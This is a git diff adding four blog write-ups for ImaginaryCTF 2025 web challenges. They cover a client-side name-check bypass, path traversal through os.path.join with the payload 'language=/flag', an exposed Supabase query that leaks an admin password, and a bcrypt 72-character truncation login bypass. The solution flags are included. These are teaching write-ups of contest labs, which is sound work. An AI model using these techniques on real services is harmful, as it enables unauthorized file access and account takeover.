diff --git a/_authors/george.md b/_authors/george.md new file mode 100644 index 0000000..7f4c840 --- /dev/null +++ b/_authors/george.md @@ -0,0 +1,9 @@ +--- +short_name: george +name: George +position: Web +website: https://github.com/george11119 +layout: author +--- + +CTF is hard :( \ No newline at end of file diff --git a/_posts/2025-09-09-imaginaryctf2025-certificate.md b/_posts/2025-09-09-imaginaryctf2025-certificate.md new file mode 100644 index 0000000..7b0e64b --- /dev/null +++ b/_posts/2025-09-09-imaginaryctf2025-certificate.md @@ -0,0 +1,56 @@ +--- +layout: post +title: "[ImaginaryCTF 2025] certificate" +author: george +--- + +> As a thank you for playing our CTF, we're giving out participation certificates! Each one comes with a custom flag, but I bet you can't get the flag belonging to Eth007! +> +>https://eth007.me/cert/ +> +> attachments: N/A + +Loading up this webpage, we are greeted with what looks like some sort of certificate generator. + +![certificate CTF challenge landing page](/assets/images/imaginaryctf2025/certificate.png) + +By inputing a name and generating a preview of the certificate, we are able to change what the certificate looks like on screen. What is more interesting is that there seems to be a flag embed into the certificate's html code that is dynamically generated based on what the participant's name is. + +![Flag being embed in the certificate](/assets/images/imaginaryctf2025/certificate-svg-html.png) + +Judging from the challenge's description, I assumed I had to get the flag that was generated from the name +`Eth007`, so I put +`Eth007` and attempted to preview the page, only to realize that the name would be changed to `REDACTED` by the webpage. + +![redacted name](/assets/images/imaginaryctf2025/certificate-redacted.png) + +Seeing this, I started to read the javascript of the webpage to see how the name change was being done. I suspected that the name was being changed on the client-side by the javascript. Surely enough, my suspicions were confirmed upon seeing the following function: + +```javascript +function renderPreview() { + var name = nameInput.value.trim(); + if (name == "Eth007") { + name = "REDACTED" + } + const svg = buildCertificateSVG({ + participant: name || "Participant Name", + affiliation: affInput.value.trim() || "Participant", + date: dateInput.value, + styleKey: styleSelect.value + }); + svgHolder.innerHTML = svg; + svgHolder.dataset.currentSvg = svg; +} +``` + +It seemed to be a single if condition that would change name to `REDACTED` if the user input +`Eth007`. To bypass the filtering, I went to devtools and set a conditional breakpoint that would change name variable to +`Eth007` after the if condition. + +![injecting javascript code using conditional breakpoint](/assets/images/imaginaryctf2025/certificate-conditional-breakpoint.png) + +Doing so allowed me to bypass the name check and set the name to `Eth007`, getting me the flag. + +![certificate with name Eth007](/assets/images/imaginaryctf2025/certificate-flag.png) + +flag: `ictf{7b4b3965}` diff --git a/_posts/2025-09-09-imaginaryctf2025-codenames1.md b/_posts/2025-09-09-imaginaryctf2025-codenames1.md new file mode 100644 index 0000000..168d808 --- /dev/null +++ b/_posts/2025-09-09-imaginaryctf2025-codenames1.md @@ -0,0 +1,66 @@ +--- +layout: post +title: "[ImaginaryCTF 2025] codenames-1" +author: george +--- + +> I hear that multilingual codenames is all the rage these days. Flag is in /flag.txt. +> +> http://codenames-1.chal.imaginaryctf.org/ +> +> attachments: [codenames.zip](https://2025.imaginaryctf.org/files/codenames-1/codenames.zip) + +This challenge was solved as a result of me freeloading off [Lyndon](/authors/lydxn) when I was at the Maple Bacon CTF club meetup. I started this challenge up locally and played around with it. The application seemed to be some sort of 2 player game in which you could either play with another player or play with a bot. + +![picture of codenames game being played](/assets/images/imaginaryctf2025/codenames-1.png) + +I spent an hour looking around struggling to read the source code and figuring out how to debug the application locally, when Lyndon shows up out of nowhere, introduces himself, solves my application debugging problems, and starts reading the source code with me. Within 5 minutes, he spots these lines in the game creation endpoint: + +```python +@app.route("/create_game", methods=["POST"]) +def create_game(): + ... + language = request.form.get("language", None) + ... + if language: + wl_path = os.path.join(WORDS_DIR, f"{language}.txt") + ... +``` + +One thing to note is that the `language` body parameter passed into the +`os.path.join` function via a f-string is user controllable, allowing us to specify what file we wish to read. Another thing to note (which Lyndon pointed out to me when I was trying to solve the challenge) is that if the 2nd argument of +`os.path.join` starts with `/`, then the first argument is ignored entirely, as shown below: + +```python +os.path.join("words", "en.txt") +# 'words/en.txt' + +os.path.join("words", "/flag.txt") +# '/flag.txt' +``` + +Upon figuring this out, we created a new game with the default language set and captured the network request. + +```http +POST /create_game HTTP/1.1 +Host: codenames-1.chal.imaginaryctf.org +Connection: keep-alive + +language=de +``` + +We then sent a modified request to the server, swapping out the language to be `/flag` instead of `de`. + +```http +POST /create_game HTTP/1.1 +Host: codenames-1.chal.imaginaryctf.org +Connection: keep-alive + +language=/flag +``` + +Upon starting the game that was generated using our modified request, we noticed that all words were replaced with the flag, solving us the challenge. + +![flags replacing words in codenames board](/assets/images/imaginaryctf2025/codenames-1-flag.png) + +flag: `ictf{common_os_path_join_L_b19d35ca}` diff --git a/_posts/2025-09-09-imaginaryctf2025-imaginarynotes.md b/_posts/2025-09-09-imaginaryctf2025-imaginarynotes.md new file mode 100644 index 0000000..23c2698 --- /dev/null +++ b/_posts/2025-09-09-imaginaryctf2025-imaginarynotes.md @@ -0,0 +1,51 @@ +--- +layout: post +title: "[ImaginaryCTF 2025] imaginary-notes" +author: george +--- + +> I made a new note taking app using Supabase! Its so secure, I put my flag as the password to the "admin" account. I even put my anonymous key somewhere in the site. The password database is called, "users". +> +> http://imaginary-notes.chal.imaginaryctf.org +> +> attachments: N/A + +Loading up the webpage, we are shown a login page that takes in a username and password. + +![Loading page on imaginary-notes](/assets/images/imaginaryctf2025/imaginary-notes.png) + +Seeing this, my first reaction was attempting to login with the username `admin` and password +`password` and look at the network requests made. One network request in particular caught my eye. + +```http +GET /rest/v1/users?select=*&username=eq.admin&password=eq.password HTTP/2 +Host: dpyxnwiuwzahkxuxrojp.supabase.co +``` + +It seems that this request directly fetches a user from the backend that match the username and password in the query parameters. The request also suspiciously resembles a SQL statement that would look like this: + +```sql +SELECT * +FROM users +WHERE username = eq.admin + AND password = eq.password; +``` + +Once I saw this, I fiddled around with this endpoint for a bit until I came up with the request below: + +```http +GET /rest/v1/users?select=password&username=eq.admin HTTP/2 +Host: dpyxnwiuwzahkxuxrojp.supabase.co +``` + +‎ + +```json +{ + "password": "ictf{why_d1d_1_g1v3_u_my_@p1_k3y???}" +} +``` + +Sending this request allowed me to retrieve the password of the admin account and retrieve the flag, as shown from the response. + +flag: `ictf{why_d1d_1_g1v3_u_my_@p1_k3y???}` diff --git a/_posts/2025-09-09-imaginaryctf2025-passwordless.md b/_posts/2025-09-09-imaginaryctf2025-passwordless.md new file mode 100644 index 0000000..865e961 --- /dev/null +++ b/_posts/2025-09-09-imaginaryctf2025-passwordless.md @@ -0,0 +1,73 @@ +--- +layout: post +title: "[ImaginaryCTF 2025] passwordless" +author: george +--- + +> Description +> Didn't have time to implement the email sending feature but that's ok, the site is 100% secure if nobody knows their password to sign in! +> +> http://passwordless.chal.imaginaryctf.org +> +> Attachments: [passwordless.zip](https://2025.imaginaryctf.org/files/passwordless/passwordless.zip) + +I solved this challenge in collaboration with Leo at the Maple Bacon CTF club meetup. Clicking the link presented us with the following webpage: +![passwordless landing page](/assets/images/imaginaryctf2025/passwordless.png) + +We attempted registering for an account, but unfortunately the application generates it's own password containing 16 random bytes for the user and does not return it for the user to see. The password generation function is shown below: + +```javascript +const initialPassword = req.body.email + crypto.randomBytes(16).toString("hex"); +``` + +Due to this, it seemed we had to find a bypass to log in without the password being returned to us. Seeing that we were given the source code for the application, we started reading it for an hour until we noticed something odd with the user registration route: + +```javascript +app.post("/user", limiter, (req, res, next) => { + if (!req.body) return res.redirect("/login"); + + const nEmail = normalizeEmail(req.body.email); + + if (nEmail.length > 64) { + req.session.error = "Your email address is too long"; + return res.redirect("/login"); + } + + const initialPassword = req.body.email + crypto.randomBytes(16).toString("hex"); + bcrypt.hash(initialPassword, 10, function (err, hash) { + ... + }); +}); + +``` + +The route compares the length of the user's email after running a +`normalizeEmail` function on it, but uses the original email to generate a password off of. Seeing this, we started testing out how the normalizeEmail function worked. + +```javascript +normalizeEmail("foo@gmail.com"); +// 'foo@gmail.com' +normalizeEmail("f.o.o@gmail.com"); +// 'foo@gmail.com' +normalizeEmail(".................@gmail.com"); +// '@gmail.com' +``` + +Upon realizing we could bypass the length check, we assumed that if there was a bypass for the length of the email, there must be some maximum length that the +`bcrypt` password hashing algorithm was able to handle. Surely enough, after a quick google search, we found a [stackoverflow link](https://stackoverflow.com/questions/76177745/does-bcrypt-have-a-length-limit) which states: + +> BCrypt hashed passwords and secrets have a 72 character limit. + +Upon seeing this, we registered a user with the following email: + +``` +......................................................................................................................................................@gmail.com +``` + +(in case you were wondering, thats 150 `.` characters) + +By registering this email, we were able to bypass the email length check and input a string into the bcrypt hash function longer than 72 characters, removing the 16 random bytes added to the end of the password. Once registered, we logged into the application with the username and password being the email above, presenting us with the flag. + +![passwordless flag](/assets/images/imaginaryctf2025/passwordless-flag.png) + +flag: `ictf{8ee2ebc4085927c0dc85f07303354a05}` diff --git a/assets/images/imaginaryctf2025/certificate-conditional-breakpoint.png b/assets/images/imaginaryctf2025/certificate-conditional-breakpoint.png new file mode 100644 index 0000000..873ffdf Binary files /dev/null and b/assets/images/imaginaryctf2025/certificate-conditional-breakpoint.png differ diff --git a/assets/images/imaginaryctf2025/certificate-flag.png b/assets/images/imaginaryctf2025/certificate-flag.png new file mode 100644 index 0000000..248f01d Binary files /dev/null and b/assets/images/imaginaryctf2025/certificate-flag.png differ diff --git a/assets/images/imaginaryctf2025/certificate-redacted.png b/assets/images/imaginaryctf2025/certificate-redacted.png new file mode 100644 index 0000000..dc8cbf1 Binary files /dev/null and b/assets/images/imaginaryctf2025/certificate-redacted.png differ diff --git a/assets/images/imaginaryctf2025/certificate-svg-html.png b/assets/images/imaginaryctf2025/certificate-svg-html.png new file mode 100644 index 0000000..055aa12 Binary files /dev/null and b/assets/images/imaginaryctf2025/certificate-svg-html.png differ diff --git a/assets/images/imaginaryctf2025/certificate.png b/assets/images/imaginaryctf2025/certificate.png new file mode 100644 index 0000000..ebfdafe Binary files /dev/null and b/assets/images/imaginaryctf2025/certificate.png differ diff --git a/assets/images/imaginaryctf2025/codenames-1-flag.png b/assets/images/imaginaryctf2025/codenames-1-flag.png new file mode 100644 index 0000000..ae29c4b Binary files /dev/null and b/assets/images/imaginaryctf2025/codenames-1-flag.png differ diff --git a/assets/images/imaginaryctf2025/codenames-1.png b/assets/images/imaginaryctf2025/codenames-1.png new file mode 100644 index 0000000..2922bb8 Binary files /dev/null and b/assets/images/imaginaryctf2025/codenames-1.png differ diff --git a/assets/images/imaginaryctf2025/imaginary-notes.png b/assets/images/imaginaryctf2025/imaginary-notes.png new file mode 100644 index 0000000..a160066 Binary files /dev/null and b/assets/images/imaginaryctf2025/imaginary-notes.png differ diff --git a/assets/images/imaginaryctf2025/passwordless-flag.png b/assets/images/imaginaryctf2025/passwordless-flag.png new file mode 100644 index 0000000..212da8b Binary files /dev/null and b/assets/images/imaginaryctf2025/passwordless-flag.png differ diff --git a/assets/images/imaginaryctf2025/passwordless.png b/assets/images/imaginaryctf2025/passwordless.png new file mode 100644 index 0000000..98b0b6d Binary files /dev/null and b/assets/images/imaginaryctf2025/passwordless.png differ